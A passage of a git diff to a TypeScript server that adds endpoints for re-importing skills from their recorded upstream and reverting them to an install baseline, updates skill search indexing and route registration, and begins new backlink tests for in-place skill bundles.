+ }
+ },
{ handler: 'skill-targets-put', method: 'PUT' },
);
@@ -17628,34 +22204,30 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
contentRoot: contentRoot ?? '.',
name: body.name,
version: body.version,
+ skillDirRel: projectSkillDirRel(body.name),
});
if (!result.ok) {
// Map the failure code to a status: genuine git/disk I/O (and an
// escaping shadow path) are server-side 5xx, not a 404 "not found".
- const restoreErrorMap = {
- 'no-shadow': [409, 'urn:ok:error:shadow-not-configured'],
- 'version-not-found': [404, 'urn:ok:error:not-found'],
- 'skill-absent': [404, 'urn:ok:error:not-found'],
- 'io-error': [500, 'urn:ok:error:storage-error'],
- 'path-escape': [500, 'urn:ok:error:path-escape'],
- } as const;
- const [status, typeUri] = restoreErrorMap[result.code];
- errorResponse(res, status, typeUri, result.error, {
- handler: 'skill-restore',
- detail: result.code,
- });
+ respondSkillRestoreFailure(res, result, 'skill-restore');
return;
}
const warnings: string[] = [];
- const skillDir = resolve(contentDir, '.ok', 'skills', body.name);
+ // The same in-place-aware path the restore itself ran against. Hardcoding
+ // the retired `.ok/skills` store here made every restore of a normal skill
+ // report "no longer validates" against a directory that does not exist,
+ // and leak an absolute path in the warning.
+ const skillDir = resolve(contentDir, projectSkillDirRel(body.name));
const validity = validateSkillForInstall(skillDir, body.name);
if (!validity.ok) {
warnings.push(
`Restored, but the skill no longer validates: ${validity.errors.join(' ')}`,
);
}
- warnings.push('Run `install` to push the restored version to your editors.');
+ // No "Run `install`" nudge: copies auto-refresh from the source via
+ // resyncRecordedSkillCopies, and the bare `install` form that advice
+ // invited is a set-exact reconciliation, not an additive top-up.
// Attribute the restore as a new version so it appears in history.
attributeOkArtifactWrite(
@@ -17687,160 +22259,543 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skill-restore', method: 'POST' },
);
- // `POST /api/skill/update` — refresh an installed starter-pack skill
- // (`open-knowledge-pack-*`) from OK's currently-bundled source. Opt-in (the UI
- // surfaces it only when `updateAvailable`); never auto-invoked. Checkpoints the
- // current doc FIRST (reversible via version history), then overwrites the
- // content doc VERBATIM from the bundle (preserving the bundled `version`),
- // routed through the same CRDT paired-write path as skill-put.
- const handleSkillUpdate = withValidation(
- SkillUpdateRequestSchema,
+ // `POST /api/skill/reimport` — refresh an IMPORTED skill from its recorded
+ // upstream (`.ok/skills-lock.json`). Re-fetches the source, and when the
+ // content hash differs, overwrites the skill IN PLACE (same name, not a
+ // `-imported` rename), updates the lockfile, and re-projects into editors —
+ // otherwise reports `updated: false` (already up to date). Project scope only;
+ // the global store is unversioned.
+ const handleSkillReimport = withValidation(
+ SkillReimportRequestSchema,
async (_req, res, body) => {
+ let cleanup: () => void = () => {};
try {
+ if (body.scope === 'project' && !projectDir) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
+ handler: 'skill-reimport',
+ detail: 'NO_PROJECT_ROOT',
+ });
+ return;
+ }
const actor = extractActorIdentity(
body as unknown as Record<string, unknown>,
getPrincipal,
);
if (actor.kind === 'invalid-summary') {
errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
- handler: 'skill-update',
+ handler: 'skill-reimport',
+ });
+ return;
+ }
+ if (!validateSkillName(body.name, res, 'skill-reimport')) return;
+
+ // The bundle's REAL root at either scope (in-place-first; store
+ // fallback), so Update rewrites the bundle where it actually lives.
+ // Global skills are provenance-tracked via `~/.ok/skills-lock.json`
+ // (seeded runtime skills record it from birth) but UNVERSIONED — no
+ // shadow attribution below.
+ const reimportBase = body.scope === 'global' ? skillsHome : contentDir;
+ const {
+ root: skillsRoot,
+ dirRel: skillDirRel,
+ realDir: reimportRealDir,
+ } = effectiveSkillRoot(body.scope, body.name);
+ const inPlaceSkill = !skillDirRel.startsWith(`${LEGACY_SKILL_STORE_ROOT}/`);
+ if (
+ reimportRealDir === null ||
+ !existsSync(resolve(reimportBase, skillDirRel, 'SKILL.md'))
+ ) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill is not installed.', {
+ handler: 'skill-reimport',
+ detail: 'SKILL_ABSENT',
});
return;
}
- if (!validateSkillName(body.name, res, 'skill-update')) return;
- if (rejectReservedBuiltinSkill(body.name, res, 'skill-update')) return;
- // Only starter-pack skills have a bundled source to refresh from.
- if (!isPackSkillName(body.name)) {
+
+ const lockPath = join(
+ body.scope === 'global' ? skillsHome : (projectDir as string),
+ ...SKILLS_LOCK_REL,
+ );
+ const lock = readSkillsLock(lockPath);
+ let entry = lock.skills[body.name];
+ if (!entry) {
+ // Retrofit: a starter pack seeded before provenance was recorded has no
+ // lock entry, but its upstream is deterministic — synthesize it so the pack
+ // updates through this same reimport path. Uses the installed content hash
+ // so an unchanged upstream is a correct no-op. (Pure decision unit-tested
+ // in lockfile.test.ts; non-pack names return null and fall through to the
+ // NOT_IMPORTED error below.)
+ const synthesized =
+ retrofitPackLockEntry(
+ body.name,
+ parseSkillDir(resolve(skillsRoot, body.name))?.contentHash ?? '',
+ new Date().toISOString(),
+ ) ?? synthBuiltinLockEntry(reimportBase, body.name);
+ if (synthesized) entry = synthesized;
+ }
+ if (!entry) {
errorResponse(
res,
400,
'urn:ok:error:invalid-request',
- 'Only starter-pack skills (`open-knowledge-pack-*`) can be updated from the bundle.',
- { handler: 'skill-update', detail: 'NOT_A_PACK_SKILL' },
+ 'This skill has no recorded import source to update from.',
+ { handler: 'skill-reimport', detail: 'NOT_IMPORTED' },
);
return;
}
- // Pack skills are project-scope; the global store ships no packs.
- if (body.scope === 'global') {
+ if (body.setAutoUpdate !== undefined) {
+ // Toggle-persist mode: flip the flag, nothing fetched or rewritten.
+ // Persist both choices: absent now means the source-kind default
+ // (local on, remote off), so an explicit remote opt-in must survive.
+ await mutateSkillsLock(lockPath, (current) => ({
+ ...current,
+ skills: {
+ ...current.skills,
+ [body.name]: {
+ ...(current.skills[body.name] ?? entry),
+ autoUpdate: body.setAutoUpdate,
+ },
+ },
+ }));
+ successResponse(
+ res,
+ 200,
+ SkillReimportSuccessSchema,
+ { name: body.name, updated: false, source: entry.source, warnings: [] },
+ { handler: 'skill-reimport' },
+ );
+ return;
+ }
+ // Recorded into the refreshed lockfile entry below (the new upstream
+ // sha); NOT echoed on the HTTP response (no client reads it there).
+ let ref: string | undefined;
+ let acquired: ReturnType<typeof parseSkillDir> = null;
+ let hasScripts = false;
+ try {
+ const skillsSh = await resolveSkillsShImportSource(
+ entry.source,
+ entry.skill ?? body.name,
+ );
+ // A plugin-cache copy re-points at the NEWEST cached version — the
+ // recorded dir is a version pin the plugin manager prunes, so honoring
+ // it verbatim would fail exactly when there is an update to pull.
+ const resolvedSource =
+ skillsSh?.source ?? resolvePluginUpdateSource(entry.source, entry.pluginProvider);
+ const resolvedSkill = skillsSh?.skill ?? entry.skill;
+ const spec = skillsSh?.spec ?? parseSource(resolvedSource);
+ if (!spec) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'The recorded import source is no longer a valid source.',
+ { handler: 'skill-reimport', detail: entry.source },
+ );
+ return;
+ }
+ if (rejectDisallowedGitSpec(res, spec, 'skill-reimport')) return;
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ ref = fetched.ref;
+ const dirs = discoverSkillDirs(fetched.dir);
+ // Re-select the same skill: the recorded dir basename first, then a
+ // match on the local skill's name (basename or frontmatter), then the
+ // sole skill if the source has exactly one.
+ const pick =
+ (resolvedSkill ? dirs.find((d) => d.name === resolvedSkill) : undefined) ??
+ dirs.find((d) => d.name === body.name) ??
+ dirs.find((d) => parseSkillDir(d.dir)?.name === body.name) ??
+ (dirs.length === 1 ? dirs[0] : undefined);
+ if (!pick) {
+ errorResponse(
+ res,
+ 404,
+ 'urn:ok:error:not-found',
+ 'Could not locate this skill in its source anymore.',
+ { handler: 'skill-reimport', detail: dirs.map((d) => d.name).join(', ') },
+ );
+ return;
+ }
+ const oversize = acquiredBundleTooLarge(pick.dir);
+ if (oversize) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Skill bundle exceeds import limits.',
+ { handler: 'skill-reimport', detail: oversize },
+ );
+ return;
+ }
+ acquired = parseSkillDir(pick.dir);
+ } catch (e) {
+ if (e instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skill-reimport',
+ cause: e,
+ });
+ return;
+ }
+ throw e;
+ }
+ if (!acquired) {
+ errorResponse(res, 422, 'urn:ok:error:invalid-request', 'Source has no readable skill.', {
+ handler: 'skill-reimport',
+ });
+ return;
+ }
+ const limitError = importedBundleLimitError(acquired);
+ if (limitError) {
errorResponse(
res,
400,
'urn:ok:error:invalid-request',
- 'Pack skills are project-scope — there is no global-scope pack to update.',
- { handler: 'skill-update', detail: 'GLOBAL_SCOPE' },
+ 'Skill bundle exceeds import limits.',
+ { handler: 'skill-reimport', detail: limitError },
);
return;
}
-
- const bundled = readBundledPackSkill(body.name);
- if (bundled === null || bundled.version === undefined) {
- errorResponse(
+ hasScripts = acquired.files.some((f) => f.relPath.startsWith('scripts/'));
+ const localBefore = parseSkillDir(resolve(skillsRoot, body.name));
+ const upstreamPaths = new Set(acquired.files.map((f) => f.relPath));
+ const localPaths = new Set((localBefore?.files ?? []).map((f) => f.relPath));
+ // New lock entries carry the prior upstream manifest, which lets us
+ // delete only files the upstream used to own. For legacy entries, the
+ // whole local bundle is a safe ownership witness only while it still
+ // matches the recorded local baseline. Once local bytes diverge, an
+ // untracked file may be user-authored and must never be inferred away.
+ const priorUpstreamPaths =
+ entry.files ??
+ (entry.localHash !== undefined && localBefore?.contentHash === entry.localHash
+ ? localBefore.files.map((file) => file.relPath)
+ : []);
+ const removedUpstream = priorUpstreamPaths
+ .filter((path) => !upstreamPaths.has(path))
+ .filter((path) => localPaths.has(path));
+
+ // Already up to date — nothing to write. (Temp dir is dropped by the
+ // handler's `finally { cleanup() }` — no explicit call needed here.)
+ if (acquired.contentHash === entry.contentHash && removedUpstream.length === 0) {
+ successResponse(
res,
- 404,
- 'urn:ok:error:not-found',
- 'No bundled version is available for this pack skill.',
- { handler: 'skill-update', detail: 'NO_BUNDLED_VERSION' },
+ 200,
+ SkillReimportSuccessSchema,
+ {
+ name: body.name,
+ updated: false,
+ source: entry.source,
+ warnings: [],
+ },
+ { handler: 'skill-reimport' },
);
return;
}
- const skillsRoot = resolveSkillsRoot('project');
- const filePath = resolve(skillsRoot, body.name, 'SKILL.md');
- if (!existsSync(filePath)) {
- errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill is not installed.', {
- handler: 'skill-update',
- detail: 'SKILL_ABSENT',
- });
+ // Overwrite the skill in place (same name — no `-imported` rename), same
+ // sanctioned writers + frontmatter canonicalization as import.
+ const skillBody = parseFrontmatterDoc(acquired.skillMd).body;
+
+ // Preview: upstream differs — report the two bodies for the confirm dialog
+ // and write nothing. (Reached only when the hashes diverge, above.)
+ if (body.dryRun) {
+ const localMd = parseSkillDir(resolve(skillsRoot, body.name))?.skillMd ?? '';
+ // Auto-update gate input: a PROJECT bundle with tracked files updates
+ // through the repo (pull / CI), never the per-machine auto loop — two
+ // machines auto-updating with autoSync on churn-wars the lockfile and
+ // bundle (the pre-in-place version-stamp nightmare, re-armed).
+ let gitTracked: boolean | undefined;
+ if (body.scope === 'project' && projectDir) {
+ try {
+ const pg = simpleGit({ baseDir: projectDir, timeout: { block: 15_000 } });
+ const rel = relative(projectDir, resolve(skillsRoot, body.name)).split(sep).join('/');
+ gitTracked = (await pg.raw('ls-files', '--', rel)).trim().length > 0;
+ } catch {
+ gitTracked = undefined; // not a git repo / unborn index — no gate
+ }
+ }
+ successResponse(
+ res,
+ 200,
+ SkillReimportSuccessSchema,
+ {
+ name: body.name,
+ updated: true,
+ source: entry.source,
+ localBody: parseFrontmatterDoc(localMd).body,
+ upstreamBody: skillBody,
+ ...(gitTracked !== undefined ? { gitTracked } : {}),
+ warnings: [],
+ },
+ { handler: 'skill-reimport' },
+ );
return;
}
- let previousVersion: string | undefined;
- try {
- previousVersion = readSkillVersion(readFileSync(filePath, 'utf-8'));
- } catch {
- // Unreadable current copy — proceed; the overwrite + checkpoint still apply.
+ if (body.scope === 'project') {
+ const removedMarkdownDocs = removedUpstream
+ .filter((path) => /\.mdx?$/i.test(path))
+ .map((path) => `${skillDirRel}/${path.replace(/\.mdx?$/i, '')}`);
+ if (removedMarkdownDocs.length > 0) {
+ await captureAndCloseDocuments(removedMarkdownDocs, 'deleted-upstream');
+ }
}
-
- // Checkpoint-before-overwrite: snapshot current state into version
- // history so the user can restore their pre-update edits. Best-effort —
- // a missing shadow repo (e.g. a non-git project) must not block the
- // update; the overwrite is the user's explicit, confirmed action.
- let checkpointRef: string | undefined;
- const shadow = shadowRef?.current;
- if (shadow) {
- try {
- const branch = getCurrentBranch?.() ?? 'main';
- const cp = await saveVersion(
- shadow,
- contentRoot ?? '.',
- [SERVICE_WRITER],
- branch,
- `Before updating ${body.name} (${previousVersion ?? 'unversioned'} → ${bundled.version})`,
+ const wr = applySkillWrite({
+ skillsRoot,
+ name: body.name,
+ body: skillBody,
+ frontmatter: { name: body.name, description: acquired.description },
+ });
+ if (!wr.ok) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Failed to write skill.', {
+ handler: 'skill-reimport',
+ detail: wr.error.code,
+ cause: new Error(wr.error.message),
+ });
+ return;
+ }
+ const warnings = [...wr.warnings];
+ for (const f of acquired.files) {
+ const br = applySkillBundleFileWrite({
+ skillsRoot,
+ name: body.name,
+ relPath: f.relPath,
+ content: f.content,
+ bytes: f.bytes,
+ limits: SKILL_IMPORT_WRITE_LIMITS,
+ });
+ if (!br.ok) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to write the complete refreshed skill bundle.',
+ {
+ handler: 'skill-reimport',
+ detail: `${f.relPath}: ${br.error.code}`,
+ cause: new Error(br.error.message),
+ },
);
- checkpointRef = cp.checkpointRef;
- } catch (err) {
- getLogger('skills').warn(
- { err, skill: body.name },
- 'pre-update checkpoint failed — proceeding with overwrite',
+ return;
+ }
+ }
+ for (const relPath of removedUpstream) {
+ const deleted = applySkillBundleFileDelete({
+ skillsRoot,
+ name: body.name,
+ relPath,
+ });
+ if (!deleted.ok) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to reconcile files removed upstream.',
+ {
+ handler: 'skill-reimport',
+ detail: `${relPath}: ${deleted.error.code}`,
+ cause: new Error(deleted.error.message),
+ },
);
+ return;
}
}
- // Overwrite the content doc VERBATIM (preserves the bundled `version` +
- // all frontmatter — do NOT recompose). Same CRDT paired-write path +
- // per-session frozen origin as skill-put.
- const docName = skillLiveDocName('project', body.name);
- // Refuse if the pack skill's content doc is mid-conflict — same gate as
- // the sibling content-write handlers.
- if (checkSkillDocConflictGate(docName, 'skill-update', res)) return;
- const { agentId, agentName, colorSeed, clientName } = extractAgentIdentity(
- body as unknown as Record<string, unknown>,
+ if (body.scope === 'project') {
+ attributeOkArtifactWrite(
+ actor,
+ okArtifactKey('skill', '', body.name),
+ `skill-reimport: ${entry.source} -> ${skillDirRel}`,
+ );
+ await commitOkArtifactWrite('skill-reimport');
+ }
+
+ const reimportLocalHash = localSkillHash(skillsRoot, body.name);
+ const reimportBaselineRef =
+ body.scope === 'project'
+ ? await shadowHeadSha(artifactWriterId(actor), skillDirRel)
+ : undefined;
+ // `lock`/`entry` above predate the upstream fetch — re-read so a
+ // concurrent import's entry survives this write.
+ await mutateSkillsLock(lockPath, (current) =>
+ upsertLockEntry(current, body.name, {
+ ...(current.skills[body.name] ?? entry),
+ contentHash: acquired.contentHash,
+ files: acquired.files.map((file) => file.relPath),
+ ...(reimportLocalHash !== undefined ? { localHash: reimportLocalHash } : {}),
+ ...(reimportBaselineRef !== undefined ? { baselineRef: reimportBaselineRef } : {}),
+ ref,
+ importedAt: new Date().toISOString(),
+ }),
);
- const session = await sessionManager.getSession(docName, agentId, {
- displayName: agentName,
- colorSeed,
- clientName,
+
+ // Re-project the refreshed skill into the configured editor dirs (same
+ // best-effort copy projection as import — a failure must not fail the
+ // update; reconcile re-projects on the next open). An IN-PLACE skill's
+ // bundle already IS an editor dir — no projection (fan-out is its own
+ // future pass).
+ if (!inPlaceSkill && body.scope === 'project') {
+ await projectImportedSkillCopy({
+ skillsRoot,
+ name: body.name,
+ scope: 'project',
+ hasScripts,
+ handler: 'skill-reimport',
+ });
+ }
+
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillReimportSuccessSchema,
+ {
+ name: body.name,
+ updated: true,
+ source: entry.source,
+ warnings,
+ },
+ { handler: 'skill-reimport' },
+ );
+ } catch (e) {
+ errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to reimport skill.', {
+ handler: 'skill-reimport',
+ cause: e,
});
- session.dc.document.transact(() => {
- composeAndWriteRawBody(session.dc.document, bundled.content, 'agent');
- }, session.origin);
+ } finally {
+ cleanup();
+ }
+ },
+ { handler: 'skill-reimport', method: 'POST' },
+ );
- const flushOutcome = await flushDiskAndDetectOutcome(docName);
- if (flushOutcome?.kind === 'failure') {
- respondPersistenceFailure(res, flushOutcome.failure, 'skill-update');
+ // `POST /api/skill/revert` — discard local edits and restore an imported skill
+ // to the bytes recorded when it was installed/last updated (the lockfile's
+ // `baselineRef` shadow commit). Reuses `restoreSkillVersion` (same engine as
+ // version-history restore); attributed as a new `skill-revert` version so the
+ // pre-revert edits stay recoverable from history. Project scope only.
+ const handleSkillRevert = withValidation(
+ SkillRevertRequestSchema,
+ async (_req, res, body) => {
+ try {
+ if (!projectDir) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
+ handler: 'skill-revert',
+ detail: 'NO_PROJECT_ROOT',
+ });
return;
}
- if (flushOutcome?.kind === 'divergence') {
- respondDiskDivergence(res, 'skill-update');
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skill-revert',
+ });
+ return;
+ }
+ if (!validateSkillName(body.name, res, 'skill-revert')) return;
+ if (rejectReservedBuiltinSkill(body.name, res, 'skill-revert')) return;
+ if (body.scope === 'global') {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Global skills are unversioned — there is nothing to revert to.',
+ { handler: 'skill-revert', detail: 'GLOBAL_SCOPE' },
+ );
+ return;
+ }
+
+ const lockPath = join(projectDir, ...SKILLS_LOCK_REL);
+ const lock = readSkillsLock(lockPath);
+ const entry = lock.skills[body.name];
+ if (!entry?.baselineRef) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'This skill has no recorded install baseline to revert to.',
+ { handler: 'skill-revert', detail: 'NO_BASELINE' },
+ );
+ return;
+ }
+ const shadow = shadowRef?.current;
+ if (!shadow) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:shadow-not-configured',
+ 'No version history available to revert from.',
+ { handler: 'skill-revert', detail: 'NO_SHADOW_REPO' },
+ );
+ return;
+ }
+
+ const result = await restoreSkillVersion({
+ shadow,
+ contentDir,
+ contentRoot: contentRoot ?? '.',
+ name: body.name,
+ version: entry.baselineRef,
+ skillDirRel: projectSkillDirRel(body.name),
+ });
+ if (!result.ok) {
+ respondSkillRestoreFailure(res, result, 'skill-revert');
return;
}
attributeOkArtifactWrite(
actor,
okArtifactKey('skill', '', body.name),
- `skill-pack-update: ${body.name} (${previousVersion ?? 'unversioned'} → ${bundled.version})`,
+ `skill-revert: ${body.name} @ ${entry.baselineRef.slice(0, 8)}`,
+ );
+ await commitOkArtifactWrite('skill-revert');
+
+ // Re-baseline `localHash` to the restored bytes so `modified` clears — the
+ // skill now matches its install baseline again. contentHash/baselineRef are
+ // unchanged (still the same installed upstream). Hash + projection use the
+ // skill's REAL root (store, or the in-place editor-dir parent).
+ const revertRoot = resolve(contentDir, projectSkillDirRel(body.name), '..');
+ const revertedLocalHash = localSkillHash(revertRoot, body.name);
+ await mutateSkillsLock(lockPath, (current) =>
+ upsertLockEntry(current, body.name, {
+ ...(current.skills[body.name] ?? entry),
+ ...(revertedLocalHash !== undefined ? { localHash: revertedLocalHash } : {}),
+ }),
);
- await commitOkArtifactWrite('skill-update');
+
+ // An in-place skill's bundle already IS an editor dir — no projection.
+ if (revertRoot === resolveSkillsRoot('project')) {
+ await projectImportedSkillCopy({
+ skillsRoot: revertRoot,
+ name: body.name,
+ scope: 'project',
+ hasScripts: result.restoredFiles.some((f) => f.startsWith('scripts/')),
+ handler: 'skill-revert',
+ });
+ }
+
signalChannel?.('files');
successResponse(
res,
200,
- SkillUpdateSuccessSchema,
+ SkillRevertSuccessSchema,
{
name: body.name,
- version: bundled.version,
- ...(previousVersion !== undefined ? { previousVersion } : {}),
- ...(checkpointRef !== undefined ? { checkpointRef } : {}),
+ baselineRef: entry.baselineRef,
+ restoredFiles: result.restoredFiles,
+ warnings: [],
},
- { handler: 'skill-update' },
+ { handler: 'skill-revert' },
);
} catch (e) {
- errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to update skill.', {
- handler: 'skill-update',
+ errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to revert skill.', {
+ handler: 'skill-revert',
cause: e,
});
}
},
- { handler: 'skill-update', method: 'POST' },
+ { handler: 'skill-revert', method: 'POST' },
);
function deriveFolderSearchDocuments(
@@ -18107,24 +23062,62 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
function enumerateProjectSkillStats(): Array<{
name: string;
absolutePath: string;
+ /** The skill's LIVE content-doc path (`<real dir>/SKILL`) — what search
+ * hits open. In-place skills carry their editor-dir path; only a legacy
+ * store resident still carries the `.ok/skills` shape. */
+ docPath: string;
mtimeMs: number;
size: number;
}> {
+ const out: Array<{
+ name: string;
+ absolutePath: string;
+ docPath: string;
+ mtimeMs: number;
+ size: number;
+ }> = [];
+ const seen = new Set<string>();
+ // In-place skills FIRST (they win a name collision with a store resident,
+ // mirroring the list/read rules). Enumerating only the store root here was
+ // a store-retirement fossil: in-place skills vanished from search entirely,
+ // and the ones indexed opened phantom `.ok/skills` tabs.
+ for (const skill of scanInPlaceSkills(contentDir)) {
+ const skillMd = resolve(contentDir, skill.dir, 'SKILL.md');
+ try {
+ const st = statSync(skillMd);
+ out.push({
+ name: skill.name,
+ absolutePath: skillMd,
+ docPath: `${skill.dir}/SKILL`,
+ mtimeMs: st.mtimeMs,
+ size: st.size,
+ });
+ seen.add(skill.name);
+ } catch {
+ // Vanished between scan and stat — skip.
+ }
+ }
const root = resolveSkillsRoot('project');
- if (!existsSync(root)) return [];
+ if (!existsSync(root)) return out;
let entries: Dirent[];
try {
entries = readdirSync(root, { withFileTypes: true });
} catch {
- return [];
+ return out;
}
- const out: Array<{ name: string; absolutePath: string; mtimeMs: number; size: number }> = [];
for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name))) {
if (!entry.isDirectory() || !SKILL_NAME_REGEX.test(entry.name)) continue;
+ if (seen.has(entry.name)) continue;
const skillMd = resolve(root, entry.name, 'SKILL.md');
try {
const st = statSync(skillMd);
- out.push({ name: entry.name, absolutePath: skillMd, mtimeMs: st.mtimeMs, size: st.size });
+ out.push({
+ name: entry.name,
+ absolutePath: skillMd,
+ docPath: `${LEGACY_SKILL_STORE_ROOT}/${entry.name}/SKILL`,
+ mtimeMs: st.mtimeMs,
+ size: st.size,
+ });
} catch {
// Missing/unreadable SKILL.md — skip (a draft dir with no manifest).
}
@@ -18157,10 +23150,10 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
docs.push(
createWorkspaceSearchDocument({
kind: 'page',
- // Project skills are content docs (`.ok/skills/<name>/SKILL`), not
- // `__skill__/project/<name>` — indexing the managed-artifact path made
- // every project-skill search hit open a blank phantom tab.
- path: skillLiveDocName('project', skill.name),
+ // Index under the skill's LIVE content-doc path (real dir), never a
+ // minted shape — a minted `__skill__/project/<name>` OR `.ok/skills`
+ // path both made a search hit open a blank phantom tab.
+ path: skill.docPath,
title,
content,
modifiedTs: skill.mtimeMs,
@@ -18215,12 +23208,14 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// holds. They stay out of the embedding/egress path, which keeps the
// `isHiddenDocName` filter where the corpus is handed to the embedder.
if (isSystemDoc(docName) || isConfigDoc(docName)) continue;
- // Project-skill content docs (`.ok/skills/<name>/SKILL`) ARE in the index
- // now (skills-as-content), and this loop iterates the all-files view — but
- // `buildSkillSearchDocuments()` already indexes each skill with skill-aware
- // title/content under the same path. Skip them here so they aren't added
- // twice (a duplicate corpus id throws and 500s the whole search). The
- // prefix matches `skillLiveDocName('project', …)` → `.ok/skills/<name>/SKILL`.
+ // Project-skill SKILL docs ARE in the index (skills-as-content), and this
+ // loop iterates the all-files view — but `buildSkillSearchDocuments()`
+ // already indexes each skill with skill-aware title/content under the same
+ // path. Skip ANY project SKILL-doc shape (in-place editor dirs AND the
+ // legacy store) so one isn't added twice (a duplicate corpus id throws and
+ // 500s the whole search). Bundle reference docs stay — they index as
+ // ordinary pages.
+ if (parseProjectSkillBundleDoc(docName)?.kind === 'skill') continue;
if (docName.startsWith('.ok/skills/')) continue;
if (entry.kind === 'file') {
// Name-only tier: a non-markdown file is searchable by name / path /
@@ -20841,12 +25836,26 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
'/api/templates': handleTemplatesList,
'/api/skill': handleSkill,
'/api/skill-file': handleSkillFile,
+ '/api/skill-file/rename': handleSkillFileRename,
'/api/skills': handleSkillsList,
- '/api/skills/management': handleSkillsManagement,
+ '/api/skills/installed': handleSkillsInstalled,
+ '/api/skills/search': handleSkillsSearch,
+ '/api/skills/popular': handleSkillsPopular,
+ '/api/skills/detail': handleSkillsDetail,
+ '/api/skills/preview': handleSkillsPreview,
+ '/api/skills/discover': handleSkillsDiscover,
+ '/api/skills/resolve-ref': handleSkillsResolveRef,
+ '/api/skill/import': handleSkillImport,
+ '/api/skills/import-bulk': handleSkillsImportBulk,
+ '/api/skill/edit-external': handleSkillEditExternal,
+ '/api/skill/duplicate': handleSkillDuplicate,
+ '/api/skill/move-scope': handleSkillMoveScope,
+ '/api/skill-upload': handleSkillUpload,
'/api/skill/install': handleSkillInstall,
'/api/skill/uninstall': handleSkillUninstall,
'/api/skill/restore': handleSkillRestore,
- '/api/skill/update': handleSkillUpdate,
+ '/api/skill/reimport': handleSkillReimport,
+ '/api/skill/revert': handleSkillRevert,
'/api/skill-targets': handleSkillTargets,
'/api/search': handleSearch,
'/api/semantic-status': handleSemanticStatus,
@@ -20972,11 +25981,23 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
'/api/template/import',
'/api/skill',
'/api/skill-file',
+ '/api/skill-file/rename',
+ '/api/skill/import',
+ '/api/skills/import-bulk',
+ '/api/skill/duplicate',
+ '/api/skill/move-scope',
+ '/api/skill/edit-external',
+ '/api/skill-upload',
'/api/skill/install',
'/api/skill/uninstall',
'/api/skill/restore',
- '/api/skill/update',
- '/api/skills/management',
+ '/api/skill/reimport',
+ '/api/skill/revert',
+ // Read-shaped GETs, but each triggers an arbitrary `git clone` (network egress)
+ // + local SKILL.md reads, so they ride the loopback/host gate, not the read posture.
+ '/api/skills/preview',
+ '/api/skills/discover',
+ '/api/skills/resolve-ref',
'/api/skill-targets',
'/api/seed/apply',
'/api/client-logs',
diff --git a/packages/server/src/backlink-index.test.ts b/packages/server/src/backlink-index.test.ts
index 9a1ac8ed1..52813c1b0 100644
--- a/packages/server/src/backlink-index.test.ts
+++ b/packages/server/src/backlink-index.test.ts
@@ -910,6 +910,67 @@ describe('BacklinkIndex structural skill-bundle edges', () => {
const SKILL = '.ok/skills/demo/SKILL';
const REF = '.ok/skills/demo/references/notes';
+ test('IN-PLACE bundles (editor-dir shapes) draw the same structural edges', () => {
+ // The store-retirement regression pin: after skills moved in place, the
+ // pairing minted the retired `.ok/skills/<name>/SKILL` shape and every
+ // in-place bundle silently lost its edges. Pairing is same-root now.
+ const projectDir = mkdtempSync(join(tmpdir(), 'ok-backlinks-skill-inplace-'));
+ const contentDir = join(projectDir, 'content');
+ mkdirSync(contentDir, { recursive: true });
+ try {
+ const index = new BacklinkIndex({ projectDir, contentDir });
+ const skill = '.agents/skills/demo/SKILL';
+ const ref = '.agents/skills/demo/references/notes';
+ index.updateDocumentFromMarkdown(skill, 'See `references/notes.md`.\n');
+ index.updateDocumentFromMarkdown(ref, '# Notes\n\nNo links.\n');
+ expect(index.getForwardLinks(skill)).toEqual([ref]);
+ expect(index.getBacklinks(ref)).toEqual([{ source: skill, anchor: null, snippet: null }]);
+ // Roots never cross: a same-name bundle in ANOTHER editor dir is a
+ // different physical bundle and draws no edge to this one.
+ const otherRef = '.claude/skills/demo/references/other';
+ index.updateDocumentFromMarkdown(otherRef, 'Standalone.\n');
+ expect(index.getForwardLinks(skill)).toEqual([ref]);
+ expect(index.getForwardLinks(otherRef)).toEqual([]);
+ } finally {
+ rmSync(projectDir, { recursive: true, force: true });
+ }
+ });
+
+ test('/skill-name refs draw same-scope edges to the referenced SKILL doc, both directions', () => {
+ const projectDir = mkdtempSync(join(tmpdir(), 'ok-backlinks-skill-refs-'));
+ const contentDir = join(projectDir, 'content');
+ mkdirSync(contentDir, { recursive: true });
+ try {
+ const index = new BacklinkIndex({ projectDir, contentDir });
+ const analyze = '.agents/skills/analyze/SKILL';
+ const research = '.agents/skills/research/SKILL';
+ index.updateDocumentFromMarkdown(analyze, 'For reports use `/research` or /research.\n');
